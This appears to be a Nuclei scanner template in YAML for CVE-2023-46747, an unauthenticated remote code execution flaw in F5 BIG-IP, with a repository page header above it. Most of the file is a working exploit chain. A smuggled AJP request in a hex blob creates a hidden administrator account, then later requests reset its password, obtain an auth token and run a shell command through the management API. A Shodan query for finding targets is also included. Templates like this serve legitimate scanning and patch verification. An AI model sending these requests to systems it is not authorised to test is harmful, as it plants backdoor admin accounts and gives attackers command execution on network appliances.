105 lines
4.3 KiB
YAML
105 lines
4.3 KiB
YAML
id: CVE-2023-46747
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info:
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name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8.
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reference:
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- https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
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- https://my.f5.com/manage/s/article/K000137353
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- http://packetstormsecurity.com/files/175673/F5-BIG-IP-TMUI-AJP-Smuggling-Remote-Command-Execution.html
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- https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-46747
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cwe-id: CWE-288
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epss-score: 0.96553
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epss-percentile: 0.99522
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cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 7
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vendor: f5
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product: big-ip_access_policy_manager
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shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
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tags: cve2023,cve,packetstorm,rce,f5,bigip,unauth,ajp,smuggling,intrusive,kev
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variables:
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username: "{{hex_encode(rand_base(5))}}"
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password: "{{hex_encode(rand_base(12))}}"
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password2: "{{rand_base(14)}}"
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http:
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- raw:
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- |+
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POST /tmui/login.jsp HTTP/1.1
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Host: {{Hostname}}
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Transfer-Encoding: chunked, chunked
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Content-Type: application/x-www-form-urlencoded
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204
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{{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }}
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0
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unsafe: true
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- raw:
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- |+
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PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
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Content-Type: application/json
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{"password": "{{password2}}"}
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- |+
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POST /mgmt/shared/authn/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"username":"{{hex_decode(username)}}", "password":"{{pass}}"}
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- |+
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POST /mgmt/tm/util/bash HTTP/1.1
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Host: {{Hostname}}
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X-F5-Auth-Token: {{token}}
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Content-Type: application/json
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{"command":"run","utilCmdArgs":"-c id"}
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payloads:
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pass:
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- '{{password2}}'
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- '{{hex_decode(password)}}'
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skip-variables-check: true
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stop-at-first-match: true
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extractors:
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- type: regex
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part: body_2
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name: token
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group: 1
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regex:
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- "([A-Z0-9]{26})"
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internal: true
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- type: regex
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part: body_3
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group: 1
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regex:
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- "\"commandResult\":\"(.*)\""
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- type: dsl
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dsl:
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- '"Username:" + hex_decode(username)'
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- '"Password:" + pass'
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- '"Token:" + token'
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matchers:
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- type: word
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words:
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- "commandResult"
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- "uid="
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condition: and
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# digest: 4a0a00473045022033c471aa0662debb0b0a8734eaca1842dc9db829007d9ea373f6bd91d10a71f9022100cf8be93a7f0afb60a38e658f4081ef8464742ef93dabbd4eedda3a3dbb2f2faf:922c64590222798bb761d5b6d8e72950 |